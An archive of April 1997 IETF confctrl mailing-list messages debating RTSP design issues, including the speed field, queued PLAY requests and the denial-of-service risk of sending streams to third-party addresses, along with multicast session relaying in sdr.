	id <AA06451>; Thu, 17 Apr 1997 15:11:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06443>; Thu, 17 Apr 1997 15:11:54 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06432>; Thu, 17 Apr 1997 15:11:53 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA22636
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 15:13:08 -0700
Message-Id: <3.0.32.19970417151031.0103cf30@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 15:10:32 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 7. Undiscussed issues
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There was a list of issues that weren't discussed,
but it was generally agreed need work. Those issues
include the following:
   o The MUTE method was mentioned on the list, but
     discussion died out before a resolution was
     stated. It is unclear exactly how this would be
     implemented, and so in order to promote a useful
     discussion on this front, any advocates should
     provide a strawman proposal with an example laid
     out.
   o Queued PLAY ranges. The authors recommend that
     PLAY messages can be queued, but that a PAUSE
     message clears the queue entirely.
   o From Joerg Ott: More clarity as to maintenance
     of session at server end. (What happens if
     client dies etc.)
   o From Mark Handley: list requirements imposed on
     underlying transport (keep-alive feedback, etc.)

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Fri Apr 18 18:52:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09949>; Thu, 17 Apr 1997 15:53:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09939>; Thu, 17 Apr 1997 15:53:57 -0700
Received: from broon.off.connect.com.au by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09809>; Thu, 17 Apr 1997 15:53:54 -0700
Received: from connect.com.au (ggm@localhost) by broon.off.connect.com.au with ESMTP id IAA26661
  (8.8.5/IDA-1.6); Fri, 18 Apr 1997 08:52:32 +1000 (EST)
To: Mark Handley <mjh@isi.edu>
Cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, confctrl@isi.edu
Subject: Re: sdr: relaying between sessions 
In-Reply-To: Your message of "Thu, 17 Apr 1997 11:20:12 -0400."
             <10329.861290412@buttle.lcs.mit.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 18 Apr 1997 08:52:31 +1000
Message-Id: <26660.861317551@connect.com.au>
From: George Michaelson <ggm@connect.com.au>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I'd expect a majority usage to be people using sdr one side of a slow PPP
to get the sdr up on the main node to create a short horizion redistribution
of the main feed. In that case, transcoding would be vital, and scoped
address usage would also play a role in limiting dispersion of the re-feed.

Nightmare scenario is some dude cross-linking the Jerry Falwell hour of glower
with a satanic rock festival... Does the owner of a session get to control
cross linking of prior-declared sessions? I think this gets into twisty areas.

Adding a new re-broadcast is not the same as AND-ing together two distinct
clouds always...

-George



From majordom@ISI.EDU  Thu Apr 17 16:15:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14479>; Thu, 17 Apr 1997 17:15:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14462>; Thu, 17 Apr 1997 17:15:19 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21148>; Thu, 17 Apr 1997 17:15:18 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA25073; Thu, 17 Apr 1997 20:15:16 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id UAA05512; Thu, 17 Apr 1997 20:15:16 -0400 (EDT)
Message-Id: <3356BD13.656B@cs.columbia.edu>
Date: Thu, 17 Apr 1997 20:15:15 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of   control messages
References: <3.0.32.19970417150929.0103cf30@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 
> At Memphis, the general consensus was that there
> should be a mechanism to allow a client to direct the
> data stream to a unicast or multicast address other
> than the current one.
> 
> The problem one can imagine is denial of service,
> where one could flood any arbitrary machine on the
> Internet with unrequested RTSP streams. While there
> are certainly other ways of doing this today, the
> idea that one could cause the streams to come from a
> variety of locations from which one has no special
> privledges is particularly troublesome.

Also, a single user with a lowly 14.4 kb/s modem could direct a whole
T3's worth of data to one or more targets simply by setting up a number
of high-rate streams. This 'force multiplier' is novel, I think.

From majordom@ISI.EDU  Fri Apr 18 10:27:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00450>; Fri, 18 Apr 1997 01:27:59 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00444>; Fri, 18 Apr 1997 01:27:58 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA07396>; Fri, 18 Apr 1997 01:27:44 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02306-0@bells.cs.ucl.ac.uk>; Fri, 18 Apr 1997 09:27:31 +0100
To: Mark Handley <mjh@ISI.EDU>
Cc: confctrl@ISI.EDU
Subject: Re: sdr: relaying between sessions
In-Reply-To: Your message of "Thu, 17 Apr 1997 11:20:12 EDT." <10329.861290412@buttle.lcs.mit.edu>
Date: Fri, 18 Apr 1997 09:27:28 +0100
Message-Id: <1098.861352048@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >>anyone thought of writing a plugin to allow creation of sessions that
 >>are multicast relays between other sessions (i.e. click on sessoon a,
 >>b and get a c, that is the sum....union......maybe even intersection
 >>would be a useful session mux type as well...)
 
 >Doing the relay is not too hard, but adding it to sdr would mean
 >working around sdr's model of what a session is.  You'd have to start
 >up different parts of a mixer separately, and then externally plumb
 >them together.  Such as architecture seems a little odd as a way of
 >doing relays and not too efficient either.

you're not stretching the session model _far enough_ :-)

um, why not have a session that we realy multicast session realy confiogurations on

that way you have a set of filters already running (some may be fast
enough to support multiple sessions relays, plural, and may live
inside routers....) - then yo ucreate a meta session tgat mcasts out
config to say, plug these two sessions togerther wherever you filter
guys see them.....

 >However, if you're just relaying and not transcoding, there seems
 >limited reason to do such a thing.  If you want to transcode, then
 >perhaps modifying sdr to perform this would be a better path than
 >working around sdr's current limitations.
 
see above

multicast EVERYTHING including info about what to do with
multicast....

 jon


From majordom@ISI.EDU  Fri Apr 18 19:36:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05678>; Fri, 18 Apr 1997 06:34:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05671>; Fri, 18 Apr 1997 06:34:53 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12910>; Fri, 18 Apr 1997 06:34:49 -0700
Received: (qmail 2606 invoked by uid 1067); 18 Apr 1997 13:36:09 -0000
Date: Fri, 18 Apr 1997 16:36:09 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of   control messages
In-Reply-To: <3356BD13.656B@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970418163311.2204C-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Thu, 17 Apr 1997, Henning Schulzrinne wrote:

>> At Memphis, the general consensus was that there
>> should be a mechanism to allow a client to direct the
>> data stream to a unicast or multicast address other
>> than the current one.
>> 
>> The problem one can imagine is denial of service,
>> where one could flood any arbitrary machine on the
>> Internet with unrequested RTSP streams. While there
>> are certainly other ways of doing this today, the
>> idea that one could cause the streams to come from a
>> variety of locations from which one has no special
>> privledges is particularly troublesome.
>
>Also, a single user with a lowly 14.4 kb/s modem could direct a whole
>T3's worth of data to one or more targets simply by setting up a number
>of high-rate streams. This 'force multiplier' is novel, I think.

Hmm. I think direct instantiation of high-speed links to (possibly)
unknown (unknowing) participants isn't very neat. If a mechanism of this
kind is needed, it shouldn't initiate the data transfer but, rather, an
off-band  negotiation cycle (on RTSP?). Of course, this is a no-no for
multicast addresses... Comments?

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Apr 18 06:33:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07364>; Fri, 18 Apr 1997 07:36:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07358>; Fri, 18 Apr 1997 07:36:07 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15168>; Fri, 18 Apr 1997 07:36:06 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA12472; Fri, 18 Apr 1997 10:33:44 -0400
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of control messages 
In-Reply-To: Your message of "Thu, 17 Apr 1997 20:15:15 EDT."
             <3356BD13.656B@cs.columbia.edu> 
Date: Fri, 18 Apr 1997 10:33:44 -0400
Message-Id: <12470.861374024@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>> At Memphis, the general consensus was that there
>> should be a mechanism to allow a client to direct the
>> data stream to a unicast or multicast address other
>> than the current one.
>> 
>> The problem one can imagine is denial of service,
>> where one could flood any arbitrary machine on the
>> Internet with unrequested RTSP streams. While there
>> are certainly other ways of doing this today, the
>> idea that one could cause the streams to come from a
>> variety of locations from which one has no special
>> privledges is particularly troublesome.
>
>Also, a single user with a lowly 14.4 kb/s modem could direct a whole
>T3's worth of data to one or more targets simply by setting up a number
>of high-rate streams. This 'force multiplier' is novel, I think.

I agree this is an issue that must be dealt with.  However, I tend to
believe that this is really a session control/authentication issue
rather than a stream control issue.  So I see no reason why the RTSP
*protocol* shouldn't allow this, although I would strongly advise
server designers to disable to feature by default in the absense of
sufficient (probably out-of-band) authentication.  If you allow the
feature in the protocol, I'd advise a comment along these lines in the
spec.

Mark

From majordom@ISI.EDU  Fri Apr 18 06:38:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07487>; Fri, 18 Apr 1997 07:38:06 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07481>; Fri, 18 Apr 1997 07:38:05 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15221>; Fri, 18 Apr 1997 07:38:05 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id HAA02079 for <confctrl@ISI.EDU>; Fri, 18 Apr 1997 07:38:03 -0700
Message-Id: <3.0.1.32.19970418103802.007ee680@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 18 Apr 1997 10:38:02 -0400
To: confctrl@ISI.EDU
From: David Oran <oran@cisco.com>
Subject: Re: RTSP: 3. Speed field
In-Reply-To: <3.0.32.19970417134133.0102b0bc@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>The rough consensus is to leave the speed field in
>with cautionary notes about misuse. A few of the
>observations from around the room:
>   o Eric Fleishman from Microsoft noted that there
>     should be a pre-negotiated maximum bandwidth for
>     this.
I don't remember Eric's comment, but I think I disagree with this. Since
you have to both ask the server to increase the speed *and* change your
bandwidth reservation to match, I see no reason the client and server have
to agree beforehand on a maximum range for the speed parameter. Except for
the possibility of a upper bound the server knows quasi-statically based on
its current hardware (e.g. data can come off the disk only so fast) it is
dynamic conditions which determine what is the upper bound on speed the
server can do - conditions can change (possibly for the better!) during a
session. It might make sense during SETUP or OPTIONs to have the server
tell the client an absolute upper bound of what it might ask in SPEED, this
doesn't strike me as terribly important.

>   o Generally agreed that sending 28k stream at 56k
>     is the same as choosing 56k stream over 28k, so
>     the danger introduced by the speed parameter is
>     minimal.
>   o Negotiated duration of speed is a bad idea,
>     according to Steve Casner of Precept.
I agree wholeheartedly with this.
>   o Mark Handley and Steve Casner noted that
>     congestion control should be handled by the
>     underlying transport.
Ditto.
-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Fri Apr 18 06:43:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07711>; Fri, 18 Apr 1997 07:43:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07705>; Fri, 18 Apr 1997 07:43:07 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15531>; Fri, 18 Apr 1997 07:43:06 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id HAA02156; Fri, 18 Apr 1997 07:43:04 -0700
Message-Id: <3.0.1.32.19970418104302.00859b90@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 18 Apr 1997 10:43:02 -0400
To: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
From: David Oran <oran@cisco.com>
Subject: Re: RTSP: 7. Undiscussed issues
In-Reply-To: <3.0.32.19970417151031.0103cf30@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>   o Queued PLAY ranges. The authors recommend that
>     PLAY messages can be queued, but that a PAUSE
>     message clears the queue entirely.
Just an observation: queueing PLAYs is relatively easy as long as RTSP
itself runs over a reliable transport, but can get tricky fast if you want
to make the protocol inherently sequential and allow it to run on UDP.

>   o From Mark Handley: list requirements imposed on
>     underlying transport (keep-alive feedback, etc.)
Yes. This will avoid confusion later if people try to port RTSP to another
environment.

-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Fri Apr 18 06:44:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07974>; Fri, 18 Apr 1997 07:50:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07966>; Fri, 18 Apr 1997 07:50:20 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15838>; Fri, 18 Apr 1997 07:50:18 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id HAA02177; Fri, 18 Apr 1997 07:44:34 -0700
Message-Id: <3.0.1.32.19970418104433.00864dc0@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 18 Apr 1997 10:44:33 -0400
To: George Michaelson <ggm@connect.com.au>, Mark Handley <mjh@ISI.EDU>
From: David Oran <oran@cisco.com>
Subject: Re: sdr: relaying between sessions 
Cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, confctrl@ISI.EDU
In-Reply-To: <26660.861317551@connect.com.au>
References: <Your message of "Thu, 17 Apr 1997 11:20:12 -0400."             <10329.861290412@buttle.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:52 AM 4/18/97 +1000, George Michaelson wrote:
>Nightmare scenario is some dude cross-linking the Jerry Falwell hour of
glower
>with a satanic rock festival... Does the owner of a session get to control
>cross linking of prior-declared sessions? I think this gets into twisty
areas.
>
I think this already happened. Didn't you see the pictures of Pat Boone in
his heavy-metal outfit?
	:-)
-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Fri Apr 18 07:10:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09037>; Fri, 18 Apr 1997 08:11:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09031>; Fri, 18 Apr 1997 08:11:20 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16899>; Fri, 18 Apr 1997 08:11:18 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id IAA02578; Fri, 18 Apr 1997 08:10:36 -0700
Message-Id: <3.0.1.32.19970418111034.008a0770@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 18 Apr 1997 11:10:34 -0400
To: Sampo Syreeni <decoy@edu.lahti.fi>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: David Oran <oran@cisco.com>
Subject: Re: RTSP: 6. Destination for data that is not the source of  
  control messages
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
In-Reply-To: <Pine.LNX.3.95.970418163311.2204C-100000@nexus.edu.lahti.fi
 >
References: <3356BD13.656B@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Hmm. I think direct instantiation of high-speed links to (possibly)
>unknown (unknowing) participants isn't very neat. If a mechanism of this
>kind is needed, it shouldn't initiate the data transfer but, rather, an
>off-band  negotiation cycle (on RTSP?). Of course, this is a no-no for
>multicast addresses... Comments?
>
Well, there's no other way to specify a multicast address than for either
the client or the server to pick it.

Actually, multicast addresses are safer than unicast addresses since
receivers have to join the multicast group before the data flows. 

In thinking about this thread, if a client wants data sent to some random
IP address, the server shouldn't do it unless something at that IP address
says it's OK. Maybe we have to invent a simple UDP-based protocol from the
destination address to the server to actually turn on transmission, or
possibly add an RTCP message that comes from a unicast destination back to
the server before data will flow.

The more I think about it, the more I think the RTCP idea may be worth
pursuing since it would work on any RTP stream coming from a cooperating
source (which the RTSP server is likely to be) but wouldn't be dependent on
RTSP - other protocols might run into similar 3rd party spoofing problems.

-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Fri Apr 18 01:43:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11148>; Fri, 18 Apr 1997 08:43:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11142>; Fri, 18 Apr 1997 08:43:47 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18635>; Fri, 18 Apr 1997 08:43:46 -0700
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id IAA26028; Fri, 18 Apr 1997 08:43:12 -0700 (PDT)
Message-Id: <199704181543.IAA26028@mailhost.nttlabs.com>
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of control
	 messages 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 18 Apr 1997 16:36:09 +0300"
References: <Pine.LNX.3.95.970418163311.2204C-100000@nexus.edu.lahti.fi> 
Date: Fri, 18 Apr 1997 08:43:05 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is beginning to sound more and more like a task to be performed
by an invitation protocol (SIP) and not a channel control protocol.

Also reminds me of Scott Petrack's examples of call forwarding.  (I
wasn't able to attend the IETF so it is entirely possible that this is
indeed born of Scott's suggestion :)

js

|On Thu, 17 Apr 1997, Henning Schulzrinne wrote:
|
|>> At Memphis, the general consensus was that there
|>> should be a mechanism to allow a client to direct the
|>> data stream to a unicast or multicast address other
|>> than the current one.
|>> 
|>> The problem one can imagine is denial of service,
|>> where one could flood any arbitrary machine on the
|>> Internet with unrequested RTSP streams. While there
|>> are certainly other ways of doing this today, the
|>> idea that one could cause the streams to come from a
|>> variety of locations from which one has no special
|>> privledges is particularly troublesome.
|>
|>Also, a single user with a lowly 14.4 kb/s modem could direct a whole
|>T3's worth of data to one or more targets simply by setting up a number
|>of high-rate streams. This 'force multiplier' is novel, I think.
|
|Hmm. I think direct instantiation of high-speed links to (possibly)
|unknown (unknowing) participants isn't very neat. If a mechanism of this
|kind is needed, it shouldn't initiate the data transfer but, rather, an
|off-band  negotiation cycle (on RTSP?). Of course, this is a no-no for
|multicast addresses... Comments?
|
|Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>
|
|



From majordom@ISI.EDU  Fri Apr 18 02:11:17 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13335>; Fri, 18 Apr 1997 09:12:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13328>; Fri, 18 Apr 1997 09:12:38 -0700
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20432>; Fri, 18 Apr 1997 09:12:37 -0700
Received: by INET-05-IMC with Internet Mail Service (5.0.1458.14)
	id <JC9N8CWX>; Fri, 18 Apr 1997 09:11:48 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F748A@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Sampo Syreeni' <decoy@edu.lahti.fi>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: RE: RTSP: 6. Destination for data that is not the source of   con
	trol messages
Date: Fri, 18 Apr 1997 09:11:17 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe that this provision, suggested at the latest IETF, is
representative of undesirable "scope creep".

I fully Sampo's, Henning's, and Rob's comments in this regards (i.e., it
leaves us open to some nasty denial of service attacks and is otherwise
unacceptable from a security perspective).

Like the majority attending the IETF session in which this was proposed,
I do believe that the idea is a very good one. However, the idea is
improperly targeted: it addresses a conferencing need, not a streaming
need. RTSP is an inappropriate place whereby this idea should be
enacted. Rather, I believe that this idea belongs with H.323 and MBONE
*conferencing*.

I suggest rather that we ensure that RTSP has the necesary "hooks" to
stream data into H.323 conferences and into MBONE conferences.

> -----Original Message-----
> From:	Sampo Syreeni [SMTP:decoy@edu.lahti.fi]
> Sent:	Friday, April 18, 1997 6:36 AM
> To:	Henning Schulzrinne
> Cc:	Rob Lanphier; confctrl@ISI.EDU
> Subject:	Re: RTSP: 6. Destination for data that is not the source
> of   control messages
> 
> On Thu, 17 Apr 1997, Henning Schulzrinne wrote:
> 
> >> At Memphis, the general consensus was that there
> >> should be a mechanism to allow a client to direct the
> >> data stream to a unicast or multicast address other
> >> than the current one.
> >> 
> >> The problem one can imagine is denial of service,
> >> where one could flood any arbitrary machine on the
> >> Internet with unrequested RTSP streams. While there
> >> are certainly other ways of doing this today, the
> >> idea that one could cause the streams to come from a
> >> variety of locations from which one has no special
> >> privledges is particularly troublesome.
> >
> >Also, a single user with a lowly 14.4 kb/s modem could direct a whole
> >T3's worth of data to one or more targets simply by setting up a
> number
> >of high-rate streams. This 'force multiplier' is novel, I think.
> 
> Hmm. I think direct instantiation of high-speed links to (possibly)
> unknown (unknowing) participants isn't very neat. If a mechanism of
> this
> kind is needed, it shouldn't initiate the data transfer but, rather,
> an
> off-band  negotiation cycle (on RTSP?). Of course, this is a no-no for
> multicast addresses... Comments?
> 
> Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>

From majordom@ISI.EDU  Fri Apr 18 02:13:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13495>; Fri, 18 Apr 1997 09:16:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13489>; Fri, 18 Apr 1997 09:16:06 -0700
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20530>; Fri, 18 Apr 1997 09:15:47 -0700
Received: by INET-02-IMC with Internet Mail Service (5.0.1458.14)
	id <JFG7WXG8>; Fri, 18 Apr 1997 09:15:01 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F748B@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Mark Handley' <mjh@isi.edu>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: RE: RTSP: 6. Destination for data that is not the source of contr
	ol messages 
Date: Fri, 18 Apr 1997 09:13:24 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Why would you define a feature and then strongly recommend that it not
be deployed?

Wouldn't it be much more reasonable to either not define the feature at
all or else ensure that hooks exist to work with another protocol in
which the feature actually belongs?

> -----Original Message-----
> From:	Mark Handley [SMTP:mjh@isi.edu]
> Sent:	Friday, April 18, 1997 7:34 AM
> To:	Henning Schulzrinne
> Cc:	Rob Lanphier; confctrl@ISI.EDU
> Subject:	Re: RTSP: 6. Destination for data that is not the source
> of control messages 
> 
> 
> >> At Memphis, the general consensus was that there
> >> should be a mechanism to allow a client to direct the
> >> data stream to a unicast or multicast address other
> >> than the current one.
> >> 
> >> The problem one can imagine is denial of service,
> >> where one could flood any arbitrary machine on the
> >> Internet with unrequested RTSP streams. While there
> >> are certainly other ways of doing this today, the
> >> idea that one could cause the streams to come from a
> >> variety of locations from which one has no special
> >> privledges is particularly troublesome.
> >
> >Also, a single user with a lowly 14.4 kb/s modem could direct a whole
> >T3's worth of data to one or more targets simply by setting up a
> number
> >of high-rate streams. This 'force multiplier' is novel, I think.
> 
> I agree this is an issue that must be dealt with.  However, I tend to
> believe that this is really a session control/authentication issue
> rather than a stream control issue.  So I see no reason why the RTSP
> *protocol* shouldn't allow this, although I would strongly advise
> server designers to disable to feature by default in the absense of
> sufficient (probably out-of-band) authentication.  If you allow the
> feature in the protocol, I'd advise a comment along these lines in the
> spec.
> 
> Mark

From majordom@ISI.EDU  Fri Apr 18 08:23:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14046>; Fri, 18 Apr 1997 09:25:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14040>; Fri, 18 Apr 1997 09:25:47 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21262>; Fri, 18 Apr 1997 09:25:46 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA13093; Fri, 18 Apr 1997 12:23:02 -0400
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of contr ol messages 
In-Reply-To: Your message of "Fri, 18 Apr 1997 09:13:24 PDT."
             <503A2A3C2932CF118D8800805FD44E18032F748B@RED-68-MSG.dns.microsoft.com> 
Date: Fri, 18 Apr 1997 12:23:02 -0400
